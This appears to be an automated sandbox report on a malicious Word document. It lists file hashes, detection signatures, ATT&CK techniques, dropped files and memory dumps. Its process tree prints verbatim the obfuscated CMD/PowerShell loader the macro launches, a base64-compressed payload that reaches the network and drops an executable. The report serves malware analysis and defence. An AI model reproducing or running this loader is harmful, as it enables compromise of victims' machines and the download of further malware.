9243685da3defde3ad5297959c49e9d862d86b435eb659cf5de203108eb875a6

General

Target

696bca0e525884c2707789bdea4a9020_JaffaCakes118.doc
Size

73KB
MD5

696bca0e525884c2707789bdea4a9020
SHA1

19331e351fc0e9730d0df4f9000eecea8ce0fc8a
SHA256

9243685da3defde3ad5297959c49e9d862d86b435eb659cf5de203108eb875a6
SHA512

a86976f759726ebd1979c5334b5d87e141c01df323bf813628956374a034b163e7a1d0928ea656946891e47937213c91d49fe7249906ca9fadf180188852bb6f
SSDEEP

768:I/rVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9OLKXeIVMOwS:I/rocn1kp59gxBK85fBt+a9Os

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	980	2348	CMD.exe	WINWORD.EXE

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

23 3804 powershell.exe
33 3804 powershell.exe
39 3804 powershell.exe

flow	pid	process
23	3804	powershell.exe
33	3804	powershell.exe
39	3804	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2348 WINWORD.EXE
2348 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3804 powershell.exe
3804 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3804 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2348 WINWORD.EXE
2348 WINWORD.EXE
2348 WINWORD.EXE
2348 WINWORD.EXE
2348 WINWORD.EXE
2348 WINWORD.EXE
2348 WINWORD.EXE

pid	process
2348	WINWORD.EXE
2348	WINWORD.EXE

pid	process
3804	powershell.exe
3804	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3804	powershell.exe

pid	process
2348	WINWORD.EXE
2348	WINWORD.EXE
2348	WINWORD.EXE
2348	WINWORD.EXE
2348	WINWORD.EXE
2348	WINWORD.EXE
2348	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECMD.exe

description	pid	process	target process
PID 2348 wrote to memory of 980	2348	WINWORD.EXE	CMD.exe
PID 2348 wrote to memory of 980	2348	WINWORD.EXE	CMD.exe
PID 980 wrote to memory of 3804	980	CMD.exe	powershell.exe
PID 980 wrote to memory of 3804	980	CMD.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\696bca0e525884c2707789bdea4a9020_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2348

C:\Windows\SYSTEM32\CMD.exe
CMD CmD /c "SEt CwymA= ^& ((VAriable '*mdr*').nAmE[3,11,2]-JOIn'')(nEw-oBJECt systEM.Io.STreAMReaDer(( nEw-oBJECt iO.comPReSsIoN.deFLaTeSTreaM([sYsTEm.IO.MeMORysTream] [sySTEM.cONVerT]::frombaSe64STrIng('NZBdS8MwGIX/Si8C2ahNLucWClOHrgpCHTgm3qTtq61rPhbeNm6l/9212NvzHB44h5hNGWvwkcl+IMfgFZDtIXuoK9AoSPKkY1oi2hXn2Eoniwuw3Ch+u/5PpcPLUZ5tKZ2S+XmATDZ8d5oKReONZhqQe2sjaS1/mZCqVCZdoxo1Oj9Sl74d0sWEvfcsK5AZ980yx+/RvD9TtrN1hTO6pnNB7k5FEAd0uVxQQba+iQnodoWgbEg/aTjwkDL4BSq+jAOZlzNy2G+DSgfDtHmH7tyR6wVsY7yujSweqxrGzk0wCOci0a05QpRcpWMisqvnKPpcYl52ff8H' ),[SYStEM.io.coMPReSsiON.comPReSSiONmOdE]::dEcoMPREsS ) ), [SYsTEM.TEXT.EnCoDINg]::Ascii)).rEadtoEnD()&& pOWerSHELl ${e`X`ecu`T`ionCon`TexT}.\"I`NVo`KEcoM`MANd\".( \"{2}{1}{3}{0}\" -f 't','KE','inVo','ScRiP' ).Invoke( ( ^& (\"{1}{0}{2}\"-f'-','Get','ItEM') (\"{2}{0}{1}\"-f 'n','V:cwYma','e')).\"vA`lue\" )"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOWerSHELl ${e`X`ecu`T`ionCon`TexT}.\"I`NVo`KEcoM`MANd\".( \"{2}{1}{3}{0}\" -f 't','KE','inVo','ScRiP' ).Invoke( ( & (\"{1}{0}{2}\"-f'-','Get','ItEM') (\"{2}{0}{1}\"-f 'n','V:cwYma','e')).\"vA`lue\" )
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3804

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\997.exe
Filesize
44KB

MD5
a34356d917725117c4eca012b7fc41bc

SHA1
5697dfb286ccf8fa0496b7111c704151115b72a1

SHA256
e0b64ddf59af0c41f5557420618e954ddbd2cf549e7b54a7dd33df1496b55f69

SHA512
1046cfedda2826139c510473fc4cebad986bf2824c26be99ed47a54ac3b19f3dad5f7ed75f2a1ee5c2f1739830066838752e10780b475f714354b5f6931eff1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD8890.tmp\sist02.xsl
Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xipvhg1h.5sw.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/2348-18-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-11-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-5-0x00007FF80D40D000-0x00007FF80D40E000-memory.dmp

Filesize
4KB

Download
memory/2348-40-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-7-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-9-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-12-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-42-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-13-0x00007FF7CB1E0000-0x00007FF7CB1F0000-memory.dmp

Filesize
64KB

Download
memory/2348-10-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-8-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-15-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-16-0x00007FF7CB1E0000-0x00007FF7CB1F0000-memory.dmp

Filesize
64KB

Download
memory/2348-41-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-14-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-0-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-6-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-4-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-17-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-39-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-576-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-3-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-2-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-72-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-451-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-1-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-551-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-552-0x00007FF80D370000-0x00007FF80D565000-memory.dmp

Filesize
2.0MB

Download
memory/2348-573-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-574-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-575-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/2348-572-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmp

Filesize
64KB

Download
memory/3804-48-0x000001D82E880000-0x000001D82E8A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads